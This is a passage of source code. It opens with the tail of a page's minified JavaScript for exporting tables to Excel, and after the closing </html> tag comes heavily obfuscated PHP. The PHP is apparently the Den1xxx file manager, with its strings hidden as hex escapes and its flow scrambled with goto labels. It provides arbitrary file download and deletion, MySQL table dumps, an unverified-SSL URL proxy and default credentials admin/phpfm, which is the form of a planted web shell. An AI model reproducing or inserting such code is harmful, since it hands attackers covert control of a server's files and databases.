/g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")};t=new Date,filename="fm_"+t.toISOString()+".xls",download_xls(filename,base64_encode(function(e,o){return e.replace(/{(\w+)}/g,function(e,t){return o[t]})}('<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head>\x3c!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--\x3e<meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',n)))},table2Excel=function(){var a=window.navigator.userAgent.indexOf("MSIE ");this.CreateExcelSheet=function(e,t){if(0<a||navigator.userAgent.match(/Trident.*rv\:11\./)){var o=document.getElementById(e).rows,n=new ActiveXObject("Excel.Application");for(n.visible=!0,n.Workbooks.Add,i=0;i<o.length;i++){var l=o[i].cells;for(j=0;j<l.length;j++)n.Cells(i+1,j+1).Value=l[j].innerText}return n.Visible=!0,n.UserControl=!0,n}tableToExcelData(e,t)}}</script></body></html><?php goto k7eyZ; i7ggp: function fm_del_files($file, $recursive = false) { if ($recursive && @is_dir($file)) { $els = fm_scan_dir($file, '', '', true); foreach ($els as $el) { if ($el != "\56" && $el != "\56\56") { fm_del_files($file . "\x2f" . $el, true); } } } if (@is_dir($file)) { return rmdir($file); } else { return @unlink($file); } } goto EvF3B; m_eL8: function fm_download($file_name) { if (!empty($file_name)) { if (file_exists($file_name)) { header("\x43\x6f\156\164\145\x6e\164\55\x44\151\x73\x70\x6f\x73\x69\x74\151\x6f\156\x3a\40\141\x74\x74\141\143\150\x6d\x65\x6e\164\x3b\x20\x66\x69\x6c\145\156\x61\155\x65\x3d" . basename($file_name)); header("\103\x6f\x6e\164\x65\x6e\x74\55\124\x79\160\145\x3a\40\x61\160\x70\154\151\x63\x61\164\151\x6f\156\57\146\x6f\x72\143\x65\55\x64\157\167\156\154\157\x61\144"); header("\x43\157\156\x74\x65\x6e\x74\x2d\x54\171\160\x65\72\40\141\x70\160\x6c\x69\143\x61\164\151\x6f\156\x2f\157\x63\164\145\164\55\x73\164\x72\x65\141\155"); header("\x43\x6f\x6e\x74\145\x6e\164\x2d\x54\x79\160\x65\x3a\40\141\x70\x70\x6c\x69\143\x61\164\151\x6f\x6e\x2f\x64\x6f\x77\x6e\154\x6f\141\x64"); header("\x43\x6f\x6e\164\x65\156\x74\x2d\x44\x65\x73\143\162\151\160\x74\151\x6f\156\x3a\40\x46\x69\154\145\40\x54\x72\x61\x6e\x73\146\x65\162"); header("\x43\x6f\156\164\145\156\x74\x2d\114\x65\x6e\x67\164\x68\x3a\40" . filesize($file_name)); flush(); $fp = fopen($file_name, "\x72"); while (!feof($fp)) { echo fread($fp, 65536); flush(); } fclose($fp); die; } else { header("\110\x54\x54\x50\57\x31\x2e\60\x20\64\x30\64\40\x4e\x6f\164\x20\106\157\165\156\x64", true, 404); header("\x53\164\x61\x74\x75\163\72\x20\x34\60\x34\x20\116\x6f\x74\40\106\x6f\165\156\144"); die; } } } goto hq7Ck; tTdkh: $translation = "\173\x22\x69\144\x22\x3a\x22\145\156\42\x2c\x22\101\x64\144\x22\72\x22\101\x64\x64\x22\54\x22\x41\162\x65\x20\171\x6f\165\x20\x73\165\x72\145\x20\171\x6f\165\40\167\x61\x6e\x74\40\164\157\x20\144\145\154\x65\x74\x65\x20\164\x68\151\163\40\144\151\x72\145\143\x74\x6f\162\x79\40\50\x72\x65\143\165\162\163\151\x76\x65\x6c\x79\x29\77\42\72\42\101\x72\145\40\171\x6f\165\x20\x73\165\x72\x65\x20\171\x6f\x75\x20\x77\x61\156\164\40\164\x6f\x20\144\145\x6c\x65\x74\x65\40\164\150\x69\x73\x20\x64\x69\162\x65\x63\x74\x6f\162\171\x20\x28\162\x65\143\x75\x72\163\x69\x76\145\154\171\x29\x3f\x22\x2c\x22\x41\x72\x65\40\x79\x6f\x75\40\x73\x75\x72\145\40\x79\x6f\x75\x20\x77\141\x6e\164\x20\164\x6f\x20\x64\145\154\x65\x74\x65\x20\x74\150\151\163\x20\146\151\154\145\x3f\42\72\x22\101\162\x65\x20\x79\157\x75\x20\163\x75\x72\x65\x20\171\157\165\x20\x77\141\156\x74\x20\164\157\x20\x64\145\154\145\164\145\40\164\150\151\163\x20\146\151\154\x65\x3f\42\x2c\x22\101\162\x63\x68\151\x76\151\156\147\42\x3a\42\x41\x72\x63\150\151\x76\x69\156\147\x22\x2c\x22\101\x75\164\150\x6f\162\x69\172\x61\164\x69\157\x6e\42\72\42\x41\x75\164\x68\157\x72\151\172\141\x74\x69\157\156\42\54\42\x42\141\143\x6b\42\72\x22\x42\141\x63\x6b\x22\54\x22\x43\x61\x6e\x63\x65\154\42\x3a\x22\103\x61\156\x63\x65\154\42\x2c\x22\x43\150\x69\x6e\145\163\145\x22\x3a\x22\103\x68\151\156\145\163\145\x22\x2c\42\x43\157\155\x70\x72\145\163\x73\42\x3a\x22\103\x6f\x6d\x70\x72\x65\x73\163\42\x2c\x22\x43\x6f\156\x73\157\x6c\x65\42\x3a\42\103\157\x6e\163\157\154\145\x22\x2c\x22\103\157\157\153\x69\x65\42\72\x22\x43\x6f\x6f\x6b\x69\x65\x22\54\42\x43\x72\x65\x61\x74\145\144\42\x3a\x22\x43\x72\x65\x61\x74\145\144\42\x2c\42\x44\x61\x74\145\42\x3a\x22\x44\x61\164\145\42\x2c\x22\104\141\x79\x73\x22\72\x22\x44\141\171\163\42\54\42\104\145\x63\x6f\x6d\160\162\145\163\163\42\72\x22\104\145\x63\157\155\x70\x72\x65\x73\x73\42\x2c\x22\104\145\x6c\145\164\145\42\72\x22\x44\145\154\145\164\145\42\54\x22\104\x65\x6c\x65\164\x65\144\42\72\x22\x44\145\x6c\145\164\x65\144\42\x2c\42\x44\x6f\167\156\154\157\141\144\x22\x3a\42\104\157\167\156\154\x6f\x61\144\42\54\x22\144\157\156\145\42\72\x22\144\157\156\x65\x22\x2c\x22\x45\144\x69\x74\42\x3a\x22\105\x64\151\164\42\x2c\42\105\x6e\164\x65\162\42\x3a\42\105\x6e\x74\145\162\x22\54\x22\105\x6e\x67\x6c\151\163\150\42\72\42\105\x6e\x67\154\x69\163\150\42\x2c\x22\x45\162\162\x6f\x72\x20\x6f\143\143\x75\162\x72\145\x64\x22\x3a\x22\x45\x72\x72\x6f\x72\40\157\143\143\x75\162\x72\x65\x64\x22\54\x22\x46\151\x6c\x65\x20\155\141\x6e\141\147\x65\162\42\x3a\42\106\x69\x6c\x65\x20\155\x61\x6e\141\x67\145\x72\42\54\42\106\151\x6c\145\x20\x73\145\x6c\x65\143\164\145\x64\x22\x3a\42\106\151\x6c\x65\40\x73\145\154\x65\x63\164\145\x64\x22\54\x22\106\151\154\145\x20\x75\160\x64\x61\164\x65\144\42\72\x22\x46\151\x6c\x65\40\x75\x70\x64\x61\164\x65\144\x22\54\42\x46\x69\x6c\x65\156\141\x6d\145\x22\72\x22\x46\151\x6c\x65\156\x61\x6d\x65\x22\54\x22\106\x69\x6c\x65\163\x20\x75\160\x6c\x6f\141\x64\x65\144\42\x3a\x22\x46\151\154\145\x73\x20\x75\160\x6c\x6f\x61\x64\145\x64\x22\x2c\x22\106\x72\145\156\143\150\42\72\42\x46\x72\145\x6e\143\x68\42\x2c\42\x47\145\x6e\x65\162\x61\164\151\157\156\40\x74\151\155\x65\x22\72\42\x47\x65\156\x65\162\141\x74\x69\157\156\40\x74\151\155\x65\42\54\42\107\x65\162\155\141\156\x22\x3a\42\x47\145\162\155\x61\156\42\x2c\x22\x48\x6f\x6d\x65\x22\x3a\42\110\157\155\x65\42\54\42\121\165\151\x74\x22\72\42\x51\165\x69\164\42\54\42\114\141\156\x67\165\x61\x67\x65\x22\72\42\x4c\141\156\x67\165\x61\x67\x65\42\x2c\42\x4c\x6f\147\151\x6e\x22\x3a\42\114\x6f\147\151\x6e\x22\x2c\42\x4d\x61\x6e\141\147\145\42\72\x22\115\x61\156\x61\x67\145\x22\x2c\42\x4d\x61\x6b\145\40\x64\x69\x72\145\143\x74\x6f\162\x79\x22\x3a\42\x4d\141\x6b\145\x20\x64\151\162\145\143\x74\157\162\171\x22\x2c\x22\x4e\141\155\145\42\72\42\116\x61\155\x65\x22\x2c\42\116\x65\x77\42\x3a\x22\116\x65\x77\x22\x2c\42\x4e\145\167\x20\146\151\x6c\145\42\72\42\116\x65\x77\x20\146\x69\x6c\145\x22\x2c\42\x6e\157\40\146\151\154\x65\163\x22\72\x22\156\157\40\x66\x69\x6c\x65\163\42\x2c\x22\120\x61\163\x73\167\x6f\x72\144\42\x3a\x22\x50\141\163\163\167\x6f\x72\x64\42\x2c\x22\160\151\143\x74\x75\x72\x65\x73\42\x3a\x22\x70\x69\143\164\165\162\x65\163\x22\x2c\x22\122\145\143\165\162\x73\151\166\145\154\x79\42\x3a\42\122\x65\143\x75\162\x73\x69\166\x65\154\x79\42\54\x22\122\145\x6e\141\x6d\x65\42\72\x22\122\145\156\141\155\x65\42\x2c\x22\x52\x65\163\145\x74\x22\72\42\x52\x65\x73\145\164\42\54\42\x52\145\x73\x65\164\40\x73\x65\x74\164\151\156\x67\163\42\72\x22\122\x65\163\x65\164\x20\163\145\164\164\151\x6e\x67\x73\x22\x2c\x22\x52\x65\x73\x74\x6f\162\145\40\146\151\x6c\x65\40\164\151\155\145\x20\x61\x66\164\145\x72\x20\145\x64\x69\x74\x69\x6e\x67\x22\x3a\x22\122\x65\163\164\157\162\x65\x20\x66\151\154\145\40\x74\151\155\145\x20\141\146\164\x65\162\40\145\144\x69\164\x69\156\147\42\54\42\x52\145\163\165\x6c\164\x22\72\42\x52\145\x73\165\154\164\42\54\42\x52\151\147\150\164\163\42\x3a\x22\x52\151\x67\x68\x74\163\42\x2c\42\x52\165\163\x73\x69\141\156\42\72\42\122\165\163\x73\x69\x61\156\42\x2c\42\x53\x61\x76\145\x22\x3a\42\x53\x61\x76\145\42\x2c\x22\x53\145\154\x65\x63\x74\x22\x3a\42\x53\145\154\x65\x63\x74\x22\54\42\123\145\154\x65\143\x74\x20\x74\x68\145\40\x66\151\x6c\x65\42\x3a\42\123\x65\154\145\x63\164\x20\x74\150\x65\x20\x66\151\154\x65\x22\54\42\123\145\164\x74\151\x6e\147\163\x22\x3a\42\123\145\x74\x74\151\x6e\147\163\x22\54\x22\123\x68\157\x77\42\x3a\x22\123\150\x6f\167\x22\54\42\x53\x68\x6f\x77\x20\x73\151\172\145\40\157\x66\40\164\150\145\40\146\157\x6c\x64\145\162\x22\72\x22\x53\150\157\x77\40\x73\x69\172\x65\x20\157\x66\40\x74\x68\145\x20\146\157\154\144\x65\x72\x22\x2c\x22\x53\x69\172\145\42\72\42\123\151\172\145\x22\54\42\123\160\x61\156\x69\x73\150\x22\72\x22\x53\160\x61\156\151\163\150\x22\54\42\x53\x75\x62\155\x69\x74\x22\72\42\x53\165\142\155\151\x74\42\54\x22\x54\141\163\x6b\x22\72\42\x54\141\163\x6b\x22\54\42\164\x65\155\160\x6c\x61\x74\x65\x73\x22\x3a\42\164\145\155\160\x6c\x61\164\145\163\42\54\x22\x55\153\x72\141\x69\x6e\x69\141\x6e\42\x3a\x22\125\153\162\x61\151\x6e\x69\x61\156\42\54\42\x55\x70\x6c\157\x61\144\x22\72\x22\125\x70\x6c\x6f\x61\144\x22\x2c\42\126\141\x6c\165\145\42\x3a\x22\126\141\154\165\145\42\54\42\110\x65\x6c\x6c\157\42\72\42\x48\145\154\x6c\x6f\x22\54\42\x46\157\165\x6e\x64\x20\x69\x6e\x20\146\x69\x6c\145\x73\42\x3a\42\106\157\165\x6e\144\x20\x69\156\x20\x66\151\x6c\145\x73\42\54\42\123\145\141\x72\x63\150\x22\72\x22\x53\x65\x61\162\143\x68\x22\x2c\x22\122\x65\143\165\x72\x73\151\166\145\x20\x73\x65\x61\162\143\150\42\x3a\42\x52\145\x63\165\162\163\151\166\145\40\163\x65\x61\x72\x63\x68\x22\x2c\x22\115\x61\163\x6b\x22\72\x22\115\141\163\153\x22\x7d"; goto FFzOb; YlOU4: $starttime = $starttime[1] + $starttime[0]; goto TmNBc; MIL6A: if (isset($_GET["\144\157\x77\156\154\157\141\144"])) { $file = base64_decode($_GET["\144\x6f\x77\x6e\x6c\157\x61\144"]); fm_download($file); } goto Pwvlr; P67xK: echo fm_home() . "\40\174\x20\166\x65\x72\x2e\40" . $fm_version . "\40\174\x20\x3c\x61\x20\x68\x72\145\146\x3d\42\x68\164\164\x70\x73\x3a\x2f\57\x67\151\x74\x68\x75\x62\56\x63\x6f\x6d\x2f\x44\145\156\x31\x78\170\x78\57\x46\x69\154\x65\x6d\141\x6e\141\147\x65\162\x22\76\x47\151\x74\150\x75\142\x3c\x2f\x61\x3e\x20\x20\x7c\x20\x3c\141\x20\150\x72\x65\x66\x3d\42" . fm_site_url() . "\42\76\x2e\74\x2f\141\76"; goto dsWZ_; K1J1L: function fm_sql_connect() { global $fm_config; return new mysqli($fm_config["\x73\x71\154\x5f\163\x65\x72\x76\145\162"], $fm_config["\163\161\x6c\x5f\x75\x73\145\x72\x6e\141\155\145"], $fm_config["\163\161\x6c\x5f\160\141\163\x73\167\x6f\162\x64"], $fm_config["\163\x71\x6c\x5f\x64\142"]); } goto vFF0k; PTjd0: function fm_backup_tables($tables = "\52", $full_backup = true) { global $path; $mysqldb = fm_sql_connect(); $delimiter = "\73\40\xa\40\x20\xa"; if ($tables == "\x2a") { $tables = array(); $result = $mysqldb->query("\x53\110\x4f\x57\x20\124\x41\102\x4c\105\123"); while ($row = mysqli_fetch_row($result)) { $tables[] = $row[0]; } } else { $tables = is_array($tables) ? $tables : explode("\x2c", $tables); } $return = ''; foreach ($tables as $table) { $result = $mysqldb->query("\x53\105\x4c\x45\103\x54\x20\52\x20\x46\x52\117\115\x20" . $table); $num_fields = mysqli_num_fields($result); $return .= "\104\122\117\120\40\x54\101\x42\x4c\105\x20\x49\x46\x20\105\x58\111\x53\x54\x53\x20\x60" . $table . "\140" . $delimiter; $row2 = mysqli_fetch_row($mysqldb->query("\x53\x48\x4f\127\x20\x43\122\x45\101\124\105\40\x54\x41\102\x4c\105\40" . $table)); $return .= $row2[1] . $delimiter; if ($full_backup) { for ($i = 0; $i < $num_fields; $i++) { while ($row = mysqli_fetch_row($result)) { $return .= "\111\x4e\x53\105\122\x54\40\111\116\124\117\x20\x60" . $table . "\140\40\x56\x41\114\x55\105\123\x28"; for ($j = 0; $j < $num_fields; $j++) { $row[$j] = addslashes($row[$j]); $row[$j] = str_replace("\xa", "\x5c\x6e", $row[$j]); if (isset($row[$j])) { $return .= "\x22" . $row[$j] . "\42"; } else { $return .= "\x22\x22"; } if ($j < $num_fields - 1) { $return .= "\x2c"; } } $return .= "\x29" . $delimiter; } } } else { $return = preg_replace("\x23\101\x55\124\117\x5f\x49\x4e\x43\122\105\115\105\x4e\124\75\133\x5c\144\x5d\53\x20\x23\x69\163", '', $return); } $return .= "\xa\12\xa"; } $file = gmdate("\x59\55\x6d\x2d\x64\137\x48\x2d\x69\55\x73", time()) . "\56\x73\x71\x6c"; $handle = fopen($file, "\167\x2b"); fwrite($handle, $return); fclose($handle); $alert = "\x6f\156\103\x6c\151\143\x6b\x3d\x22\151\x66\50\143\157\156\x66\151\162\x6d\50\x27" . __("\106\x69\154\145\40\163\145\x6c\145\x63\x74\145\x64") . "\x3a\40\134\156" . $file . "\x2e\x20\x5c\156" . __("\x41\x72\145\x20\x79\157\165\40\x73\165\162\x65\40\x79\x6f\x75\x20\x77\x61\156\x74\40\x74\x6f\40\x64\145\154\145\164\145\x20\x74\150\x69\x73\40\x66\151\x6c\x65\77") . "\47\51\51\x20\x64\157\143\165\155\x65\156\164\x2e\x6c\x6f\x63\141\x74\151\157\x6e\x2e\x68\x72\x65\x66\40\x3d\x20\x27\77\144\145\x6c\145\164\145\75" . $file . "\46\x70\x61\164\x68\75" . $path . "\47\x22"; return $file . "\72\x20" . fm_link("\144\x6f\167\x6e\x6c\157\x61\x64", $path . $file, __("\104\x6f\x77\156\154\157\x61\144"), __("\x44\157\x77\156\x6c\157\x61\144") . "\40" . $file) . "\x20\74\x61\40\150\x72\145\146\x3d\x22\x23\x22\40\x74\151\164\154\145\x3d\42" . __("\104\x65\154\145\164\x65") . "\x20" . $file . "\x22\x20" . $alert . "\76" . __("\x44\145\x6c\145\164\x65") . "\74\x2f\x61\x3e"; } goto P4fOQ; mpOe5: function fm_home($full = false) { return "\x26\156\x62\x73\160\x3b\x3c\141\40\x68\x72\145\146\75\42" . fm_url($full) . "\x22\x20\x74\x69\x74\154\x65\75\x22" . __("\x48\157\x6d\x65") . "\x22\x3e\x3c\x73\x70\141\156\40\x63\154\x61\163\x73\x3d\42\x68\x6f\155\145\42\x3e\x26\x6e\142\163\160\73\46\156\142\x73\x70\x3b\x26\156\x62\x73\x70\x3b\x26\156\142\x73\160\73\x3c\57\163\x70\x61\156\x3e\74\x2f\x61\76"; } goto GZYQW; NXiKt: $auth["\163\x63\x72\x69\x70\164"] = isset($auth["\x73\x63\x72\151\x70\164"]) ? $auth["\x73\x63\x72\151\x70\x74"] : ''; goto wypXW; Zdcad: $authorization = "\173\x22\x61\165\164\x68\157\x72\151\172\145\42\72\x22\60\42\54\42\154\x6f\147\x69\156\x22\x3a\42\141\144\x6d\x69\x6e\42\x2c\42\160\x61\163\x73\x77\157\162\x64\42\72\x22\x70\x68\x70\x66\x6d\42\54\42\143\x6f\x6f\153\x69\x65\x5f\x6e\x61\x6d\x65\x22\72\x22\146\155\x5f\165\163\x65\x72\42\54\42\x64\141\171\x73\137\141\x75\164\150\x6f\162\151\172\x61\164\x69\157\x6e\x22\x3a\42\63\60\42\54\42\163\143\162\151\160\164\42\x3a\x22\74\163\x63\x72\x69\x70\164\x20\164\171\x70\x65\75\134\x22\164\x65\x78\164\x5c\x2f\152\x61\166\x61\163\x63\x72\x69\160\164\x5c\x22\40\x73\162\143\x3d\134\x22\150\164\164\x70\163\72\x5c\x2f\134\57\x77\x77\x77\56\x63\x64\x6f\154\x69\x76\145\164\x2e\143\157\x6d\134\x2f\x65\144\x69\164\x61\162\x65\141\x5c\57\145\144\151\164\141\162\x65\x61\x5c\57\145\x64\x69\x74\x5f\141\162\x65\141\x5c\x2f\145\x64\151\x74\137\141\162\x65\141\137\146\165\x6c\154\56\x6a\x73\134\42\x3e\74\x5c\x2f\163\x63\x72\151\x70\164\x3e\x5c\162\x5c\156\x3c\x73\143\x72\x69\160\x74\x20\x6c\x61\x6e\147\x75\x61\x67\x65\75\134\42\112\x61\166\x61\163\x63\x72\x69\x70\164\x5c\42\x20\164\x79\160\145\75\x5c\42\164\145\170\164\134\x2f\152\141\166\141\163\x63\x72\x69\160\x74\x5c\42\76\134\x72\x5c\156\145\x64\151\x74\x41\x72\x65\x61\x4c\x6f\x61\x64\145\x72\x2e\x69\156\x69\x74\x28\x7b\x5c\162\x5c\156\x69\144\72\40\134\x22\156\x65\167\x63\157\x6e\x74\x65\156\164\134\x22\x5c\x72\x5c\x6e\x2c\x64\151\163\x70\x6c\x61\x79\72\40\134\42\x6c\141\x74\145\162\x5c\42\x5c\162\x5c\156\x2c\x73\x74\x61\x72\164\x5f\150\151\147\x68\x6c\151\147\150\x74\x3a\x20\x74\x72\x75\x65\134\162\134\156\x2c\x61\x6c\x6c\157\167\137\162\145\163\151\172\x65\x3a\x20\x5c\42\x62\x6f\164\x68\134\42\x5c\x72\134\x6e\x2c\x61\x6c\x6c\157\167\x5f\164\157\147\x67\154\x65\72\40\x74\x72\x75\145\x5c\x72\x5c\x6e\54\167\x6f\x72\x64\x5f\167\162\x61\160\x3a\40\164\162\x75\145\x5c\x72\134\156\x2c\154\141\x6e\147\x75\141\147\x65\72\x20\x5c\x22\162\x75\x5c\x22\x5c\162\134\156\x2c\x73\x79\156\x74\x61\170\x3a\40\x5c\42\160\x68\x70\x5c\x22\134\x74\134\162\x5c\156\54\164\157\x6f\x6c\142\x61\162\x3a\40\x5c\42\x73\145\141\x72\x63\150\x2c\40\147\157\137\164\x6f\137\154\151\156\x65\x2c\40\174\x2c\x20\x75\156\x64\157\x2c\40\162\145\x64\x6f\54\40\x7c\x2c\40\163\x65\x6c\145\x63\x74\137\x66\157\156\x74\54\x20\174\54\x20\163\171\156\164\141\x78\x5f\x73\x65\x6c\145\143\164\151\x6f\156\54\40\x7c\x2c\40\143\x68\141\x6e\147\x65\137\163\155\157\x6f\164\150\137\163\145\154\145\x63\x74\x69\157\x6e\x2c\40\x68\x69\147\150\154\151\x67\150\164\54\x20\x72\145\x73\145\x74\x5f\x68\151\147\x68\x6c\x69\147\x68\164\x2c\40\x7c\x2c\40\150\x65\x6c\x70\134\x22\x5c\x72\x5c\156\x2c\163\x79\x6e\x74\x61\x78\137\163\145\x6c\x65\x63\164\151\157\156\137\x61\154\x6c\157\x77\72\x20\134\42\x63\163\163\x2c\150\x74\155\x6c\54\x6a\x73\x2c\x70\x68\160\54\160\x79\164\x68\157\x6e\54\x78\155\x6c\x2c\x63\x2c\143\160\x70\x2c\163\x71\154\54\142\141\163\151\x63\54\x70\x61\x73\x5c\x22\134\162\x5c\x6e\x7d\x29\x3b\134\x72\x5c\156\74\134\x2f\x73\143\162\x69\x70\x74\x3e\42\175"; goto GRczh; WHDhM: $language = empty($_COOKIE["\146\155\137\154\141\x6e\147"]) ? $language : $_COOKIE["\146\x6d\137\154\x61\x6e\147"]; goto OYxVf; WqXpR: echo __("\x46\151\154\x65\40\155\x61\x6e\x61\x67\x65\x72"); goto aLHkW; BxB4s: $auth["\x63\157\x6f\x6b\x69\145\x5f\x6e\x61\x6d\x65"] = isset($auth["\x63\157\157\x6b\x69\x65\x5f\156\x61\155\145"]) ? $auth["\x63\157\157\x6b\x69\145\137\x6e\x61\x6d\145"] : "\x66\x6d\137\165\163\x65\x72"; goto NXiKt; EtRU_: ?> </tbody></table><div class="row3"><?php goto yjvkq; SehUZ: function fm_url($full = false) { $host = $full ? fm_site_url() : "\56"; return $host . "\57" . basename(__FILE__); } goto mpOe5; rx70c: if (isset($_GET["\160\x72\157\x78\x79"]) && !empty($fm_config["\145\x6e\x61\142\x6c\145\137\160\x72\157\x78\171"])) { $url = isset($_GET["\165\x72\x6c"]) ? urldecode($_GET["\x75\162\x6c"]) : ''; $proxy_form = "\12\74\144\x69\x76\x20\x73\164\171\x6c\x65\x3d\x22\x70\157\163\151\x74\151\157\156\x3a\x72\x65\x6c\141\164\x69\166\145\x3b\172\55\x69\x6e\x64\145\x78\72\61\60\x30\65\x30\x30\73\x62\141\143\x6b\x67\x72\x6f\165\x6e\144\72\40\x6c\x69\156\145\141\162\x2d\x67\x72\x61\x64\151\145\156\164\x28\x74\x6f\x20\x62\x6f\164\x74\157\155\54\x20\43\x65\x34\146\65\146\x63\40\60\x25\x2c\43\x62\x66\145\x38\146\71\40\65\60\x25\x2c\x23\x39\x66\x64\x38\x65\x66\x20\x35\61\45\x2c\x23\x32\141\x62\x30\x65\x64\40\x31\x30\x30\x25\51\x3b\42\x3e\xa\x9\74\146\x6f\x72\155\40\141\x63\164\x69\157\x6e\x3d\42\x22\40\x6d\x65\164\x68\x6f\144\x3d\42\107\x45\124\42\x3e\xa\x9\x3c\x69\156\160\165\x74\x20\x74\171\160\145\75\x22\150\x69\x64\x64\x65\x6e\x22\x20\156\141\x6d\145\x3d\x22\160\x72\157\170\171\42\40\x76\x61\x6c\165\145\x3d\42\x74\162\165\145\42\x3e\12\x9" . fm_home() . "\40\74\x61\40\x68\x72\145\x66\75\42" . $url . "\x22\40\x74\x61\162\147\x65\x74\75\42\x5f\x62\x6c\141\x6e\153\42\x3e\125\x72\154\74\57\141\x3e\x3a\40\x3c\151\x6e\160\x75\x74\40\164\171\x70\145\x3d\42\164\x65\170\164\x22\x20\x6e\141\x6d\145\x3d\x22\165\162\154\x22\40\x76\141\154\165\145\75\42" . $url . "\x22\40\163\151\x7a\x65\x3d\42\65\x35\x22\x3e\12\x9\x3c\151\156\x70\x75\x74\x20\164\x79\x70\x65\x3d\x22\x73\165\142\x6d\x69\x74\42\40\x76\141\x6c\x75\x65\75\x22" . __("\x53\x68\x6f\167") . "\42\40\x63\x6c\141\163\x73\75\42\x66\x6d\x5f\x69\156\x70\165\164\x22\76\12\x9\x3c\57\146\x6f\x72\x6d\76\12\x3c\57\x64\x69\166\x3e\xa"; if ($url) { $ch = curl_init($url); curl_setopt($ch, CURLOPT_USERAGENT, "\x44\145\x6e\x31\170\x78\x78\x20\x74\x65\163\164\x20\x70\x72\157\x78\171"); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_REFERER, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $result = curl_exec($ch); curl_close($ch); $result = preg_replace_callback("\x23\x28\150\x72\x65\146\174\x73\x72\x63\51\75\133\42\x27\135\133\150\164\164\160\72\x2f\x2f\135\x3f\50\133\136\x3a\135\52\x29\133\x22\x27\x5d\x23\x55\151", "\146\x6d\x5f\165\162\x6c\x5f\x70\x72\157\x78\171", $result); $result = preg_replace("\45\50\x3c\x62\x6f\x64\x79\x2e\x2a\x3f\x3e\x29\x25\151", "\44\x31" . "\x3c\163\164\x79\154\x65\x3e\74\x2f\x73\x74\171\x6c\x65\x3e" . $proxy_form, $result); echo $result; die; } } goto jFeyp; aRdFU: function fm_arr_to_option($arr, $n, $sel = '') { foreach ($arr as $v) { $b = $v[$n]; $res .= "\x3c\x6f\x70\x74\151\157\156\40\x76\141\154\165\x65\75\x22" . $b . "\x22\x20" . ($sel && $sel == $b ? "\163\145\154\x65\x63\164\145\144" : '') . "\x3e" . $b . "\x3c\x2f\x6f\160\164\151\157\x6e\x3e"; } return $res; } goto DYB_h; lWou6: $auth["\x6c\x6f\147\151\x6e"] = isset($auth["\x6c\157\x67\151\x6e"]) ? $auth["\154\157\147\x69\156"] : "\x61\x64\155\151\x6e"; goto CBpWF; DYB_h: function fm_lang_form($current = "\145\156") { return "\xa\x3c\x66\x6f\x72\155\x20\156\141\155\x65\75\42\143\150\141\x6e\x67\145\x5f\154\x61\156\147\x22\40\155\x65\x74\x68\x6f\x64\x3d\42\x70\157\163\x74\x22\40\141\x63\164\151\x6f\x6e\x3d\x22\x22\76\12\11\x3c\x73\x65\154\x65\143\164\x20\x6e\141\155\x65\75\x22\x66\155\137\154\x61\156\147\42\x20\164\x69\164\154\x65\75\42" . __("\x4c\x61\x6e\147\x75\x61\x67\145") . "\x22\40\157\156\x63\x68\x61\x6e\147\145\75\42\144\157\143\x75\x6d\x65\x6e\x74\56\146\157\162\x6d\163\x5b\x27\x63\x68\141\x6e\147\x65\x5f\154\x61\156\x67\47\x5d\x2e\163\x75\x62\155\x69\x74\50\x29\x22\x20\76\xa\x9\11\x3c\157\x70\164\151\x6f\x6e\x20\166\x61\x6c\165\145\75\x22\x65\x6e\42\x20" . ($current == "\145\156" ? "\163\145\154\x65\143\x74\x65\x64\x3d\x22\x73\x65\x6c\145\143\x74\x65\144\42\x20" : '') . "\76" . __("\105\x6e\x67\154\151\163\x68") . "\x3c\x2f\157\x70\164\x69\x6f\x6e\x3e\xa\x9\11\x3c\x6f\160\x74\151\157\156\40\166\x61\154\x75\x65\75\x22\x64\x65\x22\x20" . ($current == "\x64\x65" ? "\163\x65\154\x65\x63\164\145\x64\x3d\x22\x73\x65\x6c\x65\143\164\x65\x64\42\x20" : '') . "\76" . __("\x47\x65\x72\x6d\x61\156") . "\x3c\57\157\x70\164\151\x6f\x6e\76\12\11\x9\74\x6f\160\x74\151\x6f\156\40\x76\x61\x6c\165\x65\75\x22\162\165\x22\40" . ($current == "\162\165" ? "\x73\x65\154\x65\x63\164\x65\144\x3d\42\x73\x65\x6c\145\143\x74\145\x64\42\40" : '') . "\76" . __("\122\x75\163\163\x69\x61\156") . "\74\x2f\157\x70\x74\x69\157\156\76\xa\11\x9\x3c\x6f\x70\x74\151\x6f\x6e\40\166\x61\x6c\x75\x65\x3d\42\146\162\42\x20" . ($current == "\146\x72" ? "\163\145\154\x65\143\164\x65\144\75\x22\163\x65\154\x65\143\x74\145\144\42\x20" : '') . "\x3e" . __("\x46\x72\x65\156\x63\x68") . "\74\x2f\157\x70\164\151\x6f\x6e\x3e\12\x9\11\74\x6f\x70\164\151\x6f\156\40\x76\141\154\165\145\x3d\42\165\153\x22\40" . ($current == "\165\x6b" ? "\x73\145\154\145\143\x74\x65\x64\75\x22\163\145\154\x65\143\164\145\x64\42\x20" : '') . "\x3e" . __("\x55\153\x72\x61\151\156\151\141\156") . "\x3c\x2f\x6f\x70\164\151\x6f\x6e\x3e\12\11\74\57\x73\145\x6c\x65\143\x74\x3e\12\74\57\146\157\162\155\x3e\12"; } goto wgOR_; qX_4l: $path = str_replace("\x5c", "\x2f", $path) . "\x2f"; goto r64z7; K3q9X: $sql_templates = "\x7b\x22\101\154\x6c\40\142\x61\163\145\x73\42\72\42\x53\110\x4f\x57\x20\x44\101\124\x41\102\101\x53\x45\x53\x3b\42\54\42\101\154\x6c\40\x74\141\x62\x6c\145\x73\42\72\x22\x53\x48\117\x57\x20\124\x41\102\x4c\x45\x53\73\42\x7d"; goto tTdkh; q06X4: $detect_lang = true; goto iKQZu; TOnVc: $url_inc = "\x3f\x66\x6d\75\x74\x72\165\145"; 